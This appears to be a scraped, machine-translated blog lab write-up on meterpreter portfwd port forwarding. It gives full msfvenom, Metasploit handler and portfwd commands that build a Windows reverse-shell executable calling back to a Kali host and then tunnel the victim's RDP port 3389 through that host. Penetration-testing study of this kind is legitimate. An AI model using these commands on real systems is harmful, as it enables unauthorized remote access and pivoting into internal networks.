当前位置:网站首页>Portfwd port forwarding
Portfwd port forwarding
2022-07-24 17:09:00 【ailx10】
We have learned before ssh Port forwarding 、 Firewall port forwarding 、rinetd Port forwarding 、nc Port forwarding 、socat Port forwarding 、portmap Port forwarding , Today we are going to study portfwd Port forwarding ,portfwd yes meterpreter One of the features in , Then this experiment will start with making a pony , Then based on meterpreter Of portfwd, Realize remote port forwarding , Access the springboard machine kali Of 1111 port , You can access the intranet win7 Of 3389 port , It's also called 3389 Port bounce ~
Experimental environment :
- macos:192.168.199.206
- kali:192.168.199.247
- win7:192.168.199.185
1、 Generate a pony
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.199.247 -f exe > hack.exe
2、 adopt metasploit monitor 5555 port
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555
3、 Looking for a windows virtual machine , Running pony
exploit -j -z
sessions
4、 Get into sessions, And then use portfwd Port forwarding
portfwd add -l 1111 -r 127.0.0.1 -p 3389
5、 visit kali Of 1111 port , Is access win7 Of 3389 port

Network security has a long way to go , Wash and sleep ~

边栏推荐
- QT generation connection Library
- JVM class loading subsystem
- The orders in the same city are delivered in the same city, and the order explosion is still handy!
- Implementation of side list menu (side menu) of wechat applet
- Qsqldatabase: solution of qmmysql driver not loaded
- Why can't sizeof (ARR) / size (arr[0]) be used to calculate the array length inside the called function?
- Wechat applet list (list rendering of data rendering)
- Yolopose practice: one-stage human posture estimation with hands + code interpretation
- Kernel development
- 安全:如何为行人提供更多保护
猜你喜欢

还在用Xshell?你out了,推荐一个更现代的终端连接工具!

【时序逻辑电路】——计数器

Work with growingio engineers this time | startdt Hackathon

会议OA项目进度(一)

地表最强程序员装备“三件套”,你知道是什么吗?

QT embed Notepad under win10

AXI协议(2):AXI架构的五个通道和两种事务

剑指 Offer 22. 链表中倒数第k个节点

Apachecon Asia 2022 opens registration: pulsar technology issues make a big debut

Still shocked by the explosion in the movie? Then you must not miss this explosive plug-in of unity
随机推荐
安全:如何为行人提供更多保护
会议OA项目进度(一)
Development dynamics | stonedb 2022 release milestone
Navicate connects Alibaba cloud (explanation of two methods and principles)
还在用Xshell?你out了,推荐一个更现代的终端连接工具!
CPU comparison
One article of quantitative framework backtrader: understand indicator indicators
Axi protocol (3): handshake mechanism and implementation details of Axi architecture
IP第十三天笔记
图像像素的逻辑操作
Apachecon Asia 2022 opens registration: pulsar technology issues make a big debut
Code random notes_ Linked list_ 707 design linked list
JS to implement a promise of promises/a+ specification
地表最强程序员装备“三件套”,你知道是什么吗?
Meeting OA project progress (II)
Open source Invoicing system, 10 minutes to complete, it is recommended to collect!
Zcmu--5023: family division (C language)
Axi protocol (1): introduction to AMBA bus, introduction to Axi concept and background, characteristics and functions of Axi protocol
Concept of IP, classification of IP, IP multiplexing technology
socat 端口转发